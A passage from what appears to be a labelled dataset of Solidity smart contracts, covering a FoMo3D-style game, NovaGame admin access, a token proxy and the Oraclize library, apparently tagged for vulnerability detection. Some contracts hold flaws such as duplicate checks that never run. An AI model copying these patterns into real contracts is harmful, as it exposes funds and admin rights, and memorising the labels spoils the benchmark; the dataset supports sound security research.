plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,779 |
pragma solidity ^0.4.23;
contract iNovaStaking {
function balanceOf(address _owner) public view returns (uint256);
}
contract iNovaGame {
function isAdminForGame(uint _game, address account) external view returns(bool);
uint[] public games;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub fail");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "add fail");
return c;
}
}
contract NovaGameAccess is iNovaGame {
using SafeMath for uint256;
event AdminPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin);
event OperatorPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin);
mapping(uint => address[]) public adminAddressesByGameId;
mapping(address => uint[]) public gameIdsByAdminAddress;
mapping(uint => mapping(address => bool)) public gameAdmins;
iNovaStaking public stakingContract;
modifier onlyGameAdmin(uint _game) {
require(gameAdmins[_game][msg.sender]);
_;
}
constructor(address _stakingContract)
public
{
stakingContract = iNovaStaking(_stakingContract);
}
function isAdminForGame(uint _game, address _account)
external
view
returns(bool) {
return gameAdmins[_game][_account];
}
function getAdminsForGame(uint _game)
external
view
returns(address[]) {
return adminAddressesByGameId[_game];
}
function getGamesForAdmin(address _account)
external
view
returns(uint[]) {
return gameIdsByAdminAddress[_account];
}
function addAdminAccount(uint _game, address _account)
external
onlyGameAdmin(_game)
{
require(_account != msg.sender);
require(_account != address(0));
require(!gameAdmins[_game][_account]);
_addAdminAccount(_game, _account);
}
function removeAdminAccount(uint _game, address _account)
external
onlyGameAdmin(_game)
{
require(_account != msg.sender);
require(gameAdmins[_game][_account]);
address[] storage opsAddresses = adminAddressesByGameId[_game];
uint startingLength = opsAddresses.length;
for (uint i = opsAddresses.length - 1; i < startingLength; i--) {
if (opsAddresses[i] == _account) {
uint newLength = opsAddresses.length.sub(1);
opsAddresses[i] = opsAddresses[newLength];
delete opsAddresses[newLength];
opsAddresses.length = newLength;
}
}
uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];
startingLength = gamesByAdmin.length;
for (i = gamesByAdmin.length - 1; i < startingLength; i--) {
if (gamesByAdmin[i] == _game) {
newLength = gamesByAdmin.length.sub(1);
gamesByAdmin[i] = gamesByAdmin[newLength];
delete gamesByAdmin[newLength];
gamesByAdmin.length = newLength;
}
}
gameAdmins[_game][_account] = false;
emit AdminPrivilegesChanged(_game, _account, false);
}
function setOperatorPrivileges(uint _game, address _account, bool _isOperator)
external
onlyGameAdmin(_game)
{
emit OperatorPrivilegesChanged(_game, _account, _isOperator);
}
function _addAdminAccount(uint _game, address _account)
internal
{
address[] storage opsAddresses = adminAddressesByGameId[_game];
require(opsAddresses.length < 256, "a game can only have 256 admins");
for (uint i = opsAddresses.length; i < opsAddresses.length; i--) {
require(opsAddresses[i] != _account);
}
uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];
require(gamesByAdmin.length < 256, "you can only own 256 games");
for (i = gamesByAdmin.length; i < gamesByAdmin.length; i--) {
require(gamesByAdmin[i] != _game, "you can't become an operator twice");
}
gamesByAdmin.push(_game);
opsAddresses.push(_account);
gameAdmins[_game][_account] = true;
emit AdminPrivilegesChanged(_game, _account, true);
}
}
contract NovaGame is NovaGameAccess {
struct GameData {
string json;
uint tradeLockSeconds;
bytes32[] metadata;
}
event GameCreated(uint indexed game, address indexed owner, string json, bytes32[] metadata);
event GameMetadataUpdated(
uint indexed game,
string json,
uint tradeLockSeconds,
bytes32[] metadata
);
mapping(uint => GameData) internal gameData;
constructor(address _stakingContract)
public
NovaGameAccess(_stakingContract)
{
games.push(2**32);
}
function createGame(string _json, uint _tradeLockSeconds, bytes32[] _metadata)
external
returns(uint _game) {
_game = games.length;
require(_game < games[0], "too many games created");
games.push(_game);
emit GameCreated(_game, msg.sender, _json, _metadata);
_addAdminAccount(_game, msg.sender);
updateGameMetadata(_game, _json, _tradeLockSeconds, _metadata);
}
function numberOfGames()
external
view
returns(uint) {
return games.length;
}
function getGameData(uint _game)
external
view
returns(uint game,
string json,
uint tradeLockSeconds,
uint256 balance,
bytes32[] metadata)
{
GameData storage data = gameData[_game];
game = _game;
json = data.json;
tradeLockSeconds = data.tradeLockSeconds;
balance = stakingContract.balanceOf(address(_game));
metadata = data.metadata;
}
function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata)
public
onlyGameAdmin(_game)
{
gameData[_game].tradeLockSeconds = _tradeLockSeconds;
gameData[_game].json = _json;
bytes32[] storage data = gameData[_game].metadata;
if (_metadata.length > data.length) { data.length = _metadata.length; }
for (uint k = 0; k < _metadata.length; k++) { data[k] = _metadata[k]; }
for (k; k < data.length; k++) { delete data[k]; }
if (_metadata.length < data.length) { data.length = _metadata.length; }
emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata);
}
} | 1 | 2,436 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes _data, address _sender) payable returns(bytes32) {
throw;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract AssetProxy is ERC20Interface, AssetProxyInterface, Bytes32 {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
bytes32 result = _getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
assembly {
mstore(0, result)
return(0, 32)
}
}
event UpgradeProposal(address newVersion);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposal(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
}
contract TraderStarsToken is AssetProxy {
function change(string _symbol, string _name) onlyAssetOwner() returns(bool) {
if (etoken2.isLocked(etoken2Symbol)) {
return false;
}
name = _name;
symbol = _symbol;
return true;
}
} | 1 | 2,090 |
pragma solidity ^0.4.21;
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
